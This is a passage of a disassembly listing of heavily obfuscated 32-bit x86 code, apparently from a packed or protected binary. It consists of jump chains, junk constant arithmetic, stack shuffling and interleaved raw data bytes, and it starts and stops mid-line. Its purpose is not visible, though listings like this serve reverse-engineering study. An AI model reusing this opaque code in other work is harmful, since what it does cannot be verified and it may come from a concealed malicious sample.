4A1E185Ah not edx not edx shr edx, 4 add edx, 0FB5E1E7Ch add ecx, edx pop edx push esi mov esi, 67D200C4h xor esi, 500C62EBh jmp loc_5596C4 ; --------------------------------------------------------------------------- db 58h, 25h, 78h dd 5366165Bh, 1E173CBBh, 5BD801B9h, 0FF6EF1E9h, 0EB805AFFh dd 8BA6E961h, 0AC2D0000h, 0D2A5053h, 3201798h, 0B617952Dh dd 58C50133h, 0D4685657h, 5E27D725h, 8CB7E9h, 8BD08800h dd 0C4812414h, 4, 0C728ABB7h, 0FF8A86E9h, 0C5815CFFh, 4 dd 4C581h, 2C330000h, 242C3124h, 8B242C33h, 54552424h dd 0E9242C8Bh, 518Ch, 0C681E689h, 4, 93F6E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E13E: ; CODE XREF: sub_542C3C+13457j mov edx, [esp+0A6h+var_A6] add esp, 4 mov eax, ebp pop ebp sub esp, 4 mov [esp+0A2h+var_A2], esi mov esi, eax sub esp, 4 mov [esp+0A6h+var_A6], esi xor [esp+0A6h+var_A6], 5C7C248Dh pop ebx xor ebx, 5C7C248Dh pop esi jmp loc_565004 ; --------------------------------------------------------------------------- loc_55E16C: ; CODE XREF: sub_542C3C+23E0Dj sub [edi+24h], ebp pop ebp mov eax, [esp+9Ah+var_9C+2] push ecx mov ecx, esp jmp loc_55D3E3 ; --------------------------------------------------------------------------- db 5Ch dd 0F66E1F6h, 6866CCB6h, 89660362h, 43E9240Ch, 1FFFF64h dd 8B042444h, 0C4812404h, 4, 83243C8Bh, 0C78104C4h, 4 dd 2BB53h, 0E9510000h, 0FFFFEBC7h, 4A0268h, 57B1E900h dd 0E95F0000h, 69A9h, 4C481h, 2C8B0000h, 4C48124h, 81000000h dd 35C4FEFh, 0E9CF0114h, 677Dh, 0C283DAF7h, 0F2814A01h dd 7F2806EAh, 4D36B951h, 1CE963DAh, 0FF00006Dh, 815A2434h dd 4C4h, 0FFC83100h, 0A4E92434h, 68FFFFBFh, 1D65h, 50241489h dd 8D8DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E21A: ; CODE XREF: sub_542C3C+21A70j not edi and edi, 134D0E09h shr edi, 8 jmp loc_55DA1B ; --------------------------------------------------------------------------- loc_55E22A: ; CODE XREF: sub_542C3C+1CA55j mov esi, esp add esi, 4 sub esp, 4 mov [esp+0A2h+var_A2], ecx push edx sub esp, 4 mov [esp+0AAh+var_AA], ecx push 53241906h mov ecx, [esp+0AEh+var_AE] add esp, 4 jmp loc_55E715 ; --------------------------------------------------------------------------- loc_55E252: ; CODE XREF: sub_542C3C+1F54Ej mov eax, [esp+0AAh+var_AA] add esp, 4 add eax, 4 push edx sub esp, 4 mov [esp+0AEh+var_AE], ebx push edi mov edi, 4 push edi sub [esp+0B6h+var_B6], 269A7B1Fh pop ebx add ebx, 269A7B1Fh pop edi push eax mov eax, ebx mov edx, eax jmp loc_55B0A7 ; --------------------------------------------------------------------------- dw 0C381h dd 4A970067h, 48F0F381h, 65E9DC93h, 5CFFFF77h, 8B24048Fh dd 0F662424h, 9C2404ABh, 9AD6E9h, 50C18100h, 8919B920h dd 0D7E959CAh db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E2BB: ; CODE XREF: sub_542C3C+24768j sub edx, 0DA49D386h jmp loc_563803 ; --------------------------------------------------------------------------- dw 0E952h dd 7502h, 0E92434FFh, 0A038h ; --------------------------------------------------------------------------- loc_55E2D4: ; CODE XREF: sub_542C3C+11A52j pop ebx sub eax, 661434F0h push dword ptr [eax] jmp loc_563DFA ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4EAh, 24148700h, 7B48E95Ch, 0C3810000h, 4 dd 3AFFE9h, 0CCBA5200h, 526DD35Dh, 0E9240CFFh, 0FFFF6917h dd 8B240C87h, 13682424h, 8900007Fh, 6FE9241Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E323: ; CODE XREF: sub_542C3C+176EAj jmp loc_55354C ; --------------------------------------------------------------------------- dd 69767405h, 243C8B21h, 4C481h, 86E90000h, 66000079h dd 8324048Bh, 3C8904ECh, 35DAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E34A: ; CODE XREF: sub_542C3C+24E45j sub edx, 2329065Fh neg edx xor edx, 0D918A340h mov ebx, edx pop edx jmp loc_55BB65 ; --------------------------------------------------------------------------- loc_55E360: ; CODE XREF: sub_542C3C+22D19j mov word ptr [esp+78h+var_78], ax jmp loc_55354C ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 5BDA0104h, 2BD55h, 0EA010000h, 2414335Dh, 33241431h dd 645C2414h, 0E9028966h, 4F76h, 15164FBAh, 0C9E28144h dd 0E975FD6Eh, 39D0h, 24048B66h, 190268h, 243C8900h, 875FE9h dd 24048F00h, 5124248Bh, 0E950F588h, 0FFFF90C4h, 0FF518BE9h dd 4C483FFh, 0B3535053h, 94BAE9D4h, 89510000h, 4BE56E1h dd 0E9000000h, 9DBBh, 48BC688h, 4C48324h, 60E95250h, 5C000022h dd 5681E954h, 31ADFFFFh, 4EC83D8h, 54243489h, 4BF575Eh dd 81000000h, 554A32EEh, 0F1AEE92Ch, 0C681FFFFh, 4, 99C3E9h dd 4C80000h, 240C8B8Ch, 4C481h, 0C3300000h, 4EC81h, 2C890000h dd 0E9E58924h, 0FFFF9DC7h ; --------------------------------------------------------------------------- loc_55E438: ; CODE XREF: sub_542C3C+1FFA9j push edx mov edx, 4 add ebp, edx pop edx jmp loc_559430 ; --------------------------------------------------------------------------- aIshfz db '‰áhfz',0 dd 688BE900h, 515B0000h, 0E5602AB9h, 26E98111h, 111E560h dd 240C8BCBh, 0FFEB31E9h, 391868FFh, 1C890000h, 98E95224h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E477: ; CODE XREF: sub_542C3C+20A73j not edx xchg ebp, edx not ebp jmp loc_561630 ; --------------------------------------------------------------------------- loc_55E482: ; CODE XREF: sub_542C3C+19452j add edi, 92CAA484h add eax, edi pop edi push eax jmp loc_562D36 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68241C89h, 60C2h, 88241489h, 4EC83C6h, 89241489h, 4C281E2h dd 83000000h, 148704EAh, 24248B24h, 0E9240C89h, 477h, 5E1C72BBh dd 0FFEB816Dh, 81FFFFFFh, 9560DAF3h, 0E3C14B0Ah, 59C38102h dd 31A0D18Dh, 0F5015BDEh, 4ED815Eh, 0E9000000h, 234Ah dd 0C281E289h, 4, 8704EA83h, 895C2414h, 0E0BF243Ch, 0C170FF67h dd 0F75703E7h, 3C8B2414h, 4C48124h, 47000000h, 8493E9h db 0 ; --------------------------------------------------------------------------- loc_55E519: ; CODE XREF: sub_542C3C+14CEBj add ebx, 54572534h push 14D3h mov [esp+0AAh+var_AA], ebp mov ebp, 443A410Bh push ecx jmp loc_568358 ; --------------------------------------------------------------------------- loc_55E532: ; CODE XREF: sub_542C3C+1ED1Fj xor eax, ebx push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp+0B6h+var_B6], edi push 4 mov edi, [esp+0BAh+var_BA] add esp, 4 sub ebx, edi jmp loc_5632EE ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78300h, 255E9h db 0 ; --------------------------------------------------------------------------- loc_55E569: ; CODE XREF: sub_542C3C+1BEBCj mov ecx, [esp+0B6h+var_B6] add esp, 4 push edi mov edi, 7D3F4AA5h dec edi inc edi jmp loc_553594 ; --------------------------------------------------------------------------- db 5Bh dd 5C243487h, 0E930FF66h, 0FFFFCEDFh, 0EFC1DFF7h, 4EC8108h dd 89000000h, 1CF7243Ch, 0BD555F24h, 4966B3Ch, 0FFC886E9h dd 43E954FFh, 2DFFFF52h, 5A7C7715h, 0B951F801h, 435514D6h dd 7AD2F181h, 20E971EBh, 81FFFFA8h, 473F7BEBh, 5BD9011Fh dd 21226856h, 0C890000h, 4BBCB924h, 0BDE94DF9h, 1FFFF99h dd 0BD5552CDh, 3C712B7Eh, 5F36E9h, 240C8900h, 0FF70C9E9h dd 241C31FFh, 8B241C33h, 7EE92424h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E607: ; CODE XREF: sub_542C3C+1D7FCj mov esi, esp add esi, 4 add esi, 4 jmp loc_556E35 ; --------------------------------------------------------------------------- loc_55E617: ; CODE XREF: sub_542C3C+222F6j xor [esp+0B6h+var_B6], ecx xor ecx, [esp+0B6h+var_B6] jmp loc_55F244 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0EC81C201h, 4, 0E9240C89h, 21DAh, 0B6526658h, 0E9F10899h dd 50CBh, 0F705E5C1h, 0FEF581D5h, 1D77425h, 0B8505DEFh dd 3DBE25ACh, 8158C729h, 0F43604EFh, 6323E927h, 1C89FFFFh dd 2540E924h, 0C1810000h, 43BC40DDh, 0F3E9D129h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E67B: ; CODE XREF: sub_542C3C+167C6j pop ecx shr edx, 8 sub edx, 951A6411h jmp loc_55B1CF ; --------------------------------------------------------------------------- dw 1C89h dd 84AEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E692: ; CODE XREF: sub_542C3C+1A7C2j push ecx mov ecx, 38E7395Ch add ecx, 0FFFFFFFFh add ecx, 21597C62h push ebp push edx mov edx, 377669ABh sub edx, 645E6F9Ch dec edx add edx, 5FC76679h add edx, 75A31D22h push edx xchg ebp, [esp+92h+var_94+2] neg ebp xchg ebp, [esp+92h+var_94+2] pop edx xor edx, 507916Dh jmp loc_5630FF ; --------------------------------------------------------------------------- loc_55E6D0: ; CODE XREF: sub_542C3C+1EB0Aj mov esi, edi pop edi sub ebp, esi mov esi, [esp+8Ah+var_8C+2] add esp, 4 mov ecx, ebp mov ebp, [esp+86h+var_88+2] add esp, 4 mov eax, ecx mov ecx, [esp+82h+var_84+2] push ecx mov ecx, esp push ebp mov ebp, 7EFB309Eh xor ebp, 741029BDh shr ebp, 3 shl ebp, 6 add ebp, 0A8A73704h add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp+86h+var_88+2] pop esp jmp loc_553B53 ; --------------------------------------------------------------------------- loc_55E715: ; CODE XREF: sub_542C3C+1B611j xor ecx, 7B5438F7h jmp loc_5553FA ; --------------------------------------------------------------------------- dd 5C240487h, 0FDEF8166h, 0DCF2E9DCh, 0DD01FFFFh, 7608C581h dd 0C58104C9h, 3A475F5Ch, 7C70C581h, 1C8B06CAh, 0E3DDE924h dd 5168FFFFh, 5A55727Ah, 2404FF52h, 6366E95Ah, 0DEF7FFFFh dd 0E6C1DEF7h, 9EEE8108h, 29C16BD8h, 0C5815EF5h, 5605085Ah dd 0ED81DD01h, 5605085Ah, 2062BF57h, 0FD012DDDh, 0F5315B5Fh dd 3E5C15Eh, 0FFE0D4E9h, 0C98141FFh, 6A91386h, 60CAE9h dd 0D3305900h, 0E924148Bh, 8D24h ; --------------------------------------------------------------------------- loc_55E7A4: ; CODE XREF: sub_542C3C+1A425j neg eax xor eax, 48AF12C8h add eax, 2D8063E4h add ebp, eax pop eax xor ebp, [esp+8Ch+var_8C] xor [esp+8Ch+var_8C], ebp jmp loc_561683 ; --------------------------------------------------------------------------- dw 3C33h dd 243C3124h, 0FF9AA3E9h, 4E9C1FFh, 5702E9C1h, 5BD06CBFh dd 3FE98101h, 0E9095D1Dh, 0FFFF9B17h, 3821C281h, 0C5E92A26h dd 1FFFF66h, 6D055AD0h, 5B223138h, 0FF8085E9h, 241C8BFFh dd 8F04C483h, 248B2404h, 48B6624h, 431EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E80E: ; CODE XREF: sub_542C3C+21BACj push 7270h mov [esp+90h+var_90], esi sub [esp+90h+var_90], 495672CEh pop edx jmp loc_562C0A ; --------------------------------------------------------------------------- db 5Ah dd 1C3A68h, 241C8900h, 42474FFh, 0FFFFC4E9h, 0BEC781FFh dd 1DA098Eh, 0EC835FF8h, 9F8EE904h, 0FE290000h, 0C205E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E84E: ; CODE XREF: sub_542C3C+244F6j pop edx jmp loc_55D559 ; --------------------------------------------------------------------------- loc_55E854: ; CODE XREF: sub_542C3C+195FBj mov edx, 4 add ebp, 74AC739Dh sub ebp, 99A6B8Eh sub ebp, 1D7B71A8h add ebp, edx add ebp, 1D7B71A8h push ebx mov ebx, 33084076h sub ebx, 296DD4E8h add ebp, ebx pop ebx push esi mov esi, 193A3325h sub esi, 0F035E82h xor esi, 7E9AA73Eh sub ebp, esi push [esp+0A6h+var_A6] pop esi add esp, 4 jmp loc_55C44F ; --------------------------------------------------------------------------- db 5Ch, 81h, 0EFh dd 1BE7B38h, 0C781F729h, 1BE7B38h, 8BE1E9h db 0 ; --------------------------------------------------------------------------- loc_55E8B9: ; CODE XREF: sub_542C3C+13E34j xor esi, 427C55AAh add ebx, esi jmp loc_55993A ; --------------------------------------------------------------------------- loc_55E8C6: ; CODE XREF: sub_542C3C+11F30j xchg ebx, [esp+74h+var_74] jmp loc_55836B ; --------------------------------------------------------------------------- loc_55E8CE: ; CODE XREF: sub_542C3C+23BC2j mov ecx, [esp+74h+var_74] add esp, 4 push [esp+70h+var_70] pop eax add esp, 4 xor esi, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], esi xor esi, [esp+6Ch+var_6C] mov esp, [esp+6Ch+var_6C] mov [esp+6Ch+var_6C], ebx push 3A85h mov [esp+70h+var_70], esi sub esp, 4 mov [esp+74h+var_74], ebp push eax push edi mov edi, 2B890FFEh sub [esp+7Ch+var_78], edi mov edi, [esp+7Ch+var_7C] jmp loc_56672B ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 2BE56h, 0F1010000h, 92DFE9h db 0 ; --------------------------------------------------------------------------- loc_55E921: ; CODE XREF: sub_542C3C+22C2Cj push eax mov eax, 3AB364E7h or edi, eax pop eax jmp loc_5625F9 ; --------------------------------------------------------------------------- aRS db 'Áà',8,'éÕ)',0 dw 8800h dd 5595E9F5h, 0D8010000h, 2404335Bh, 33240431h, 248B2404h dd 6BAEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E952: ; CODE XREF: sub_542C3C+24CAFj not eax not eax add eax, 1C9C6C83h jmp loc_5656CE ; --------------------------------------------------------------------------- dd 24048B66h, 0E904EC83h, 68CFh, 0F7243C89h, 815F2414h dd 417D15C7h, 0DF41E945h, 3C87FFFFh, 0FF515C24h, 0B8E9240Ch dd 80FFFF85h, 0ED80F9F5h, 4EB044Ch, 2CE8283Bh, 0E6B6523Bh dd 0E9FEC680h, 609Ch, 4B9h, 59C80100h, 4BA52h, 0D0010000h dd 1BE9505Ah db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E9BB: ; CODE XREF: sub_542C3C+14516j mov ebp, [esp+9Ah+var_9C+2] add esp, 4 pop [esp+96h+var_98+2] pop esp mov [esp+8Eh+var_90+2], edx push eax mov eax, 4EFD120Dh mov edx, eax jmp loc_555B82 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 55h dd 8B70E9h, 66C80000h, 0A12E952h, 77FF0000h, 59669D1Ch dd 9C241CD2h, 0FF4B57E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E9F5: ; CODE XREF: sub_542C3C+247C9j push 641E1D11h pop ebx add ebx, 1 sub esp, 4 mov [esp+96h+var_98+2], edx mov edx, 68744478h and edx, 2A0B753Ah jmp loc_566E54 ; --------------------------------------------------------------------------- db 0D1h dd 81D9F7E9h, 947F08E9h, 19EE81D0h, 14B5176h, 19C681CEh dd 8B4B5176h, 0AFE9240Ch, 83FFFFBBh, 34FF04C4h, 0C4815824h dd 4, 840FC909h, 0FFFF7A5Bh, 2434FF54h, 0FF2434FFh, 535E2434h dd 0C381E389h, 4, 4C381h, 1C870000h, 0C4815C24h, 4, 8904EC83h dd 5954240Ch, 4C181h, 56500000h, 23E6B850h, 0E0D146EBh dd 7902DF2Dh, 58C68966h, 0FF7647E9h, 12BB53FFh, 8930C872h dd 0F5015BDEh, 1BE565Eh, 1385578h, 0C5015EF5h, 7801ED81h dd 0ED813855h, 30C87212h, 7D46858h, 1C890000h, 66ECE924h dd 0E9800000h, 0E9CF30FAh, 0FFFFF26Fh, 0D2F623B2h, 80FFEA80h dd 13E901C2h, 0BAFFFF97h, 460A0598h, 8EAC14Ah, 0EAC1D2F7h dd 0BF24E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAF2: ; CODE XREF: sub_542C3C+24213j sub esi, 4C6245E9h jmp loc_55E569 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 4870000h, 14895C24h, 0E95A5424h, 96D2h, 0E92434FFh dd 0FFFF7477h, 0B4240489h, 0B6526635h, 0CF36E96Bh, 0E956FFFFh dd 5EBCh, 0C581DDF7h, 0FFE05DDEh, 5DE9EA29h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB3B: ; CODE XREF: sub_542C3C+24FFAj add ebp, 2 xor ebp, [esp+96h+var_98+2] xor [esp+96h+var_98+2], ebp jmp loc_554FA0 ; --------------------------------------------------------------------------- db 1, 0C5h, 0E9h dd 20C4h ; --------------------------------------------------------------------------- loc_55EB50: ; CODE XREF: sub_542C3C+12458j push dword ptr [esp] pop edi push 416Ah jmp loc_55BBA8 ; --------------------------------------------------------------------------- loc_55EB5E: ; CODE XREF: sub_542C3C+227BDj mov [esp+0A2h+var_A2], eax jmp loc_55F568 ; --------------------------------------------------------------------------- aLSK db '‹<$éÙŠ',0 align 2 loc_55EB6E: ; CODE XREF: sub_542C3C+13F2Bj pop esp mov [esp+78h+var_78], ecx mov ecx, esp push edx mov edx, 4 add ecx, edx jmp loc_555CFB ; --------------------------------------------------------------------------- loc_55EB81: ; CODE XREF: sub_542C3C+23F21j mov edx, esp jmp loc_5605B2 ; --------------------------------------------------------------------------- dd 0DCA6856h, 815E318Fh, 0CD2D6CC6h, 5EF789E0h, 4DB8C581h dd 0FD2974DEh, 0FFC690E9h, 6C6FBFFFh, 0EF813504h, 0E03E5C19h dd 575FFE01h, 3327CABFh, 5FFE0133h, 6468D601h, 0E9000034h dd 13FEh, 0FF2434FFh, 0C8B2434h, 4C48124h, 0E9000000h dd 66EEh, 0F800F0B7h, 241C8B66h, 81E38953h, 4C3h, 7450E900h dd 0ED810000h, 0B643F7h, 5DEA8958h, 5D68E281h, 0C3E92A25h dd 57FFFFE0h, 243C8B54h, 50B2E955h, 455FFFFFh, 2CADF581h dd 0EC834690h, 24348904h, 0E49F2BEh, 6576E962h, 5866FFFFh dd 2836E9h, 55806800h, 24890000h, 24048124h, 4, 0C3BB5358h dd 0E96F7040h, 9CE8h, 45E9D789h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC53: ; CODE XREF: sub_542C3C+15E7Aj shr esi, 1 jmp loc_558245 ; --------------------------------------------------------------------------- dw 0B8B3h dd 0FED1C380h, 0EBC380C3h, 0CB80E3D0h, 7BEB80C1h, 0FFB2E4E9h dd 1C8B54FFh, 4C48124h, 81000000h, 4C3h, 4C38100h, 33000000h dd 2DE9241Ch, 8300000Ah, 48704C0h, 0A6685C24h, 89000079h dd 268241Ch, 5B000000h, 0C6148405h, 7091057Ah, 0D801148Bh dd 52BA5251h, 0B9463155h, 0CE5A1B3Fh, 4EE9D101h, 5B000076h dd 1A8D68h, 24148900h, 0FF5FDDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55ECD1: ; CODE XREF: sub_542C3C+142FAj xchg ecx, [esp+88h+var_88] mov esp, [esp+88h+var_88] sub esi, 7BA92FB8h pop ebp jmp loc_5670EB ; --------------------------------------------------------------------------- loc_55ECE3: ; CODE XREF: sub_542C3C+224C4j sub ebx, 0E13818D8h mov ecx, ebx mov ebx, [esp+84h+var_84] add esp, 4 neg ecx neg ecx shl ecx, 8 or ecx, 291C2274h dec ecx jmp loc_553E1B ; --------------------------------------------------------------------------- dd 2414F756h, 0B24FE95Eh, 0DE29FFFFh, 41A7EE81h, 685B7FC1h dd 0A4Eh, 53242C89h, 0FF7116E9h, 4C381FFh, 81000000h, 4EBh dd 241C8700h, 8924248Bh, 85682434h, 0E9343D69h, 0FFFF867Bh dd 0FF45E959h, 6857FFFFh, 43370BD6h, 0FF9150E9h, 81DBF7FFh dd 0C4C914F3h, 69DDE9F5h, 0C2810000h, 48A37932h, 9896EA81h dd 0D1895451h, 0FF6B03E9h db 0FFh ; --------------------------------------------------------------------------- loc_55ED75: ; CODE XREF: sub_542C3C+1483Fj mov eax, 1C9D21FBh xor ecx, eax push [esp+88h+var_88] pop eax add esp, 4 and eax, ecx push [esp+84h+var_84] mov ecx, [esp+88h+var_88] add esp, 4 add esp, 4 shr eax, 0Ch jmp loc_566F02 ; --------------------------------------------------------------------------- db 87h dd 515C240Ch, 62E9E189h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDAB: ; CODE XREF: sub_542C3C+1CD7Bj add ebx, 4 jmp loc_5635B1 ; --------------------------------------------------------------------------- dw 0C300h dd 0FFE686E9h, 1C335CFFh, 241C3124h, 0E9241C33h, 3556h dd 1E41F581h, 44E9249Eh db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EDD7: ; CODE XREF: sub_542C3C+1EB14j pop ecx add ecx, 21575A4Fh jmp loc_563335 ; --------------------------------------------------------------------------- db 80h dd 79E905F5h, 5000075h, 5C8F4128h, 0FFEA9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EDF5: ; CODE XREF: sub_542C3C+125DFj xchg ecx, ebp jmp loc_5608FC ; --------------------------------------------------------------------------- loc_55EDFC: ; CODE XREF: sub_542C3C+14864j mov [esp+8Ch+var_8C], edx mov edx, 698E18F3h xor edx, 0F7B3FDCh xchg esi, edx jmp loc_557261 ; --------------------------------------------------------------------------- db 0BFh, 0CEh, 1Eh dd 0CF8128EFh, 18E5D26h, 7AE5E781h, 91E95A15h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE27: ; CODE XREF: sub_542C3C+22094j mov ebp, 5FD76F1h or ebp, 41B364F5h jmp loc_566D07 ; --------------------------------------------------------------------------- db 0F6h dd 93B652DCh, 80F6CE80h, 0F68038CEh, 5AF400A0h, 34FFE728h dd 11E95824h, 83FFFFC4h, 0C3304C1h, 240C3124h, 0E9240C33h dd 0FFFFF2A9h, 0C102EAC1h, 0F3E902E2h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE6F: ; CODE XREF: sub_542C3C+22281j pop eax push ecx mov ecx, 4 sub edi, ecx pop ecx push edi push [esp+8Ch+var_88] mov edi, [esp+90h+var_90] push eax mov eax, esp add eax, 4 jmp loc_561865 ; --------------------------------------------------------------------------- loc_55EE8E: ; CODE XREF: sub_542C3C+213C0j and ebp, edx pop edx neg ebp jmp loc_55ACD0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_56531D ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 0FFFF5DDAh, 8324148Bh, 7AE904C4h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EEBF: ; CODE XREF: sub_542C3C+1D4B0j mov esi, 75005D65h jmp loc_560709 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 895C2404h, 71E92404h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEDB: ; CODE XREF: sub_542C3C+2006Bj add esp, 4 shl ecx, 4 push ebp mov ebp, 670167D4h not ebp dec ebp xor ebp, 0F5E07E2Eh add ecx, ebp jmp loc_55F73D ; --------------------------------------------------------------------------- db 1 dd 0C28158C2h, 5FC02B7h, 0FF6E13E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF05: ; CODE XREF: sub_542C3C+1D880j push ebp push 6300h mov [esp+9Ch+var_9C], esp add [esp+9Ch+var_9C], 4 pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_5654F8 ; --------------------------------------------------------------------------- dw 48Bh dd 0E7895724h, 4C781h, 0C7810000h, 4, 0E9243C87h, 98C1h dd 0C180D900h, 99045B70h, 992CC800h, 7544E959h, 29BB0000h dd 0C16C0908h, 0EB8106EBh, 0D88C03E7h, 0E3E9D809h, 1FFFF91h dd 0F10159CEh, 0FFBE79E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF75: ; CODE XREF: sub_542C3C+1CCE2j neg ecx push edi mov edi, 7383330Bh add ecx, edi mov edi, [esp+9Ch+var_9C] add esp, 4 push esi mov esi, 318975C6h jmp loc_56281E ; --------------------------------------------------------------------------- db 55h dd 2434FF5Bh, 4C4835Dh, 2D47E9h, 247C8800h, 2434FF04h dd 0FFAD9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EFAD: ; CODE XREF: sub_542C3C+1161Fj mov ebx, [esp+78h+var_78] jmp loc_554300 ; --------------------------------------------------------------------------- aSgo db 'º·^-[éƒO',0 db 0 ; --------------------------------------------------------------------------- loc_55EFBF: ; CODE XREF: sub_542C3C+21393j xor eax, [esp+78h+var_78] jmp loc_563508 ; --------------------------------------------------------------------------- loc_55EFC7: ; CODE XREF: sub_542C3C+16C6Aj mov [esp+80h+var_80], ebx push edi mov edi, 4469132Dh not edi dec edi jmp loc_55F035 ; --------------------------------------------------------------------------- dd 4C481h, 0EB870000h, 0FFB914E9h, 0FAEF81FFh, 1255305h dd 5AF0E9DFh, 0F1F7FFFFh, 0FFF212E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EFF9: ; CODE XREF: sub_542C3C+16811j mov edx, [esp+0A2h+var_A2] jmp loc_557734 ; --------------------------------------------------------------------------- db 0ADh, 5, 0FCh dd 29050409h, 5E0A68D8h, 34890000h, 474D6824h, 14890000h dd 27FEBA24h, 0F74A525Ah, 6EA81D2h, 55A8A1CEh, 0EE89D589h dd 24148B5Dh, 38AFE9h db 0 ; --------------------------------------------------------------------------- loc_55F035: ; CODE XREF: sub_542C3C+1C397j sub edi, 648AB994h push edi pop ebx pop edi push 3137h mov [esp+84h+var_84], edi mov edi, 583B303Ah jmp loc_556144 ; --------------------------------------------------------------------------- dd 0D887C681h, 0FE31E623h, 0D8E9525Fh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F05F: ; CODE XREF: sub_542C3C+1A34Cj sub edx, ebp pop ebp mov esi, [esp+88h+var_88] add esp, 4 xor edx, 6CC33777h jmp loc_555B1C ; --------------------------------------------------------------------------- loc_55F076: ; CODE XREF: sub_542C3C+1E379j pop eax jmp loc_56405E ; --------------------------------------------------------------------------- loc_55F07C: ; CODE XREF: sub_542C3C+20F60j xchg ebp, ecx add ecx, 0D1129B1Bh mov ebx, ecx mov ecx, [esp+80h+var_80] add esp, 4 xor ebx, 928EC2E1h sub edi, ebx pop ebx mov ebp, edi mov edi, [esp+78h+var_78] jmp loc_565FFA ; --------------------------------------------------------------------------- loc_55F0A2: ; CODE XREF: sub_542C3C+145F1j sub edi, 0D705FFAh jmp loc_553966 ; --------------------------------------------------------------------------- loc_55F0AD: ; CODE XREF: sub_542C3C+24649j inc ebx shl ebx, 8 shr ebx, 3 or ebx, 473E68CCh sub ebx, 47FEFCE8h add ebp, ebx jmp loc_554348 ; --------------------------------------------------------------------------- db 81h dd 4ABD8EDh, 781A2DAAh, 0E8290A73h, 3F88E9h, 2434FF00h dd 5A9CE9h db 0 ; --------------------------------------------------------------------------- loc_55F0E1: ; CODE XREF: sub_542C3C+19DD9j xor ebp, edx pop edx push ecx mov ecx, 4D2E4DCDh push edi mov edi, 7576119h neg edi shl edi, 8 jmp loc_55D032 ; --------------------------------------------------------------------------- loc_55F0FA: ; CODE XREF: sub_542C3C+1AD79j mov eax, 14B1BE1h sub edx, eax jmp loc_55D6EA ; --------------------------------------------------------------------------- dw 0BB53h dd 29EC5ED9h, 8104EBC1h, 756D40CBh, 65F38121h, 897BF291h dd 241C8BDEh, 7A46E9h db 0 ; --------------------------------------------------------------------------- loc_55F125: ; CODE XREF: sub_542C3C+18859j or eax, 1BA049C3h shr eax, 7 shr eax, 6 and eax, 4CC755C9h or eax, 41D54BD2h xor eax, 9B8D264Ah sub ebx, eax pop eax add ebp, 5B415BAEh add ebp, ebx sub ebp, 5B415BAEh pop ebx add ebp, 4 push ebp push [esp+88h+var_84] pop ebp pop [esp+88h+var_88] pop esp jmp loc_55A409 ; --------------------------------------------------------------------------- loc_55F166: ; CODE XREF: sub_542C3C+1A7D6j or edx, eax shl edx, 1 push 702Ch mov [esp+94h+var_94], ebp push edi push 1B2259F1h pop edi jmp loc_55F593 ; --------------------------------------------------------------------------- loc_55F17E: ; CODE XREF: sub_542C3C+229F9j push ebp xor [esp+9Ch+var_9C], 51FF6FF6h mov eax, [esp+9Ch+var_9C] jmp loc_5646BA ; --------------------------------------------------------------------------- dw 0E1C1h dd 0EF18104h, 56A974FEh, 0FF47FDE9h, 0BBE95AFFh, 89h, 2FE951C3h dd 66000034h, 6824048Bh, 6282h, 54241C89h, 8368E95Bh, 0EC830000h dd 24348904h, 0FFB74AE9h, 0C68158FFh, 1B367B22h, 8FB7E9h dd 5EDC100h, 782E9h, 8C78100h, 8155B971h, 0EE1D0EF7h, 2A96E94Ch dd 305B0000h, 45B1E9E1h, 0F281FFFFh, 0F295A9BCh, 0FFDD29E9h dd 2434FFFFh, 8324048Bh, 6B6804C4h, 8900007Fh, 8B542434h dd 89532434h, 4C381E3h, 0E9000000h, 0FFFFF0D2h, 8158C301h dd 4C3h, 74FF5300h, 0E95B0424h, 6446h ; --------------------------------------------------------------------------- loc_55F238: ; CODE XREF: sub_542C3C+128FCj mov 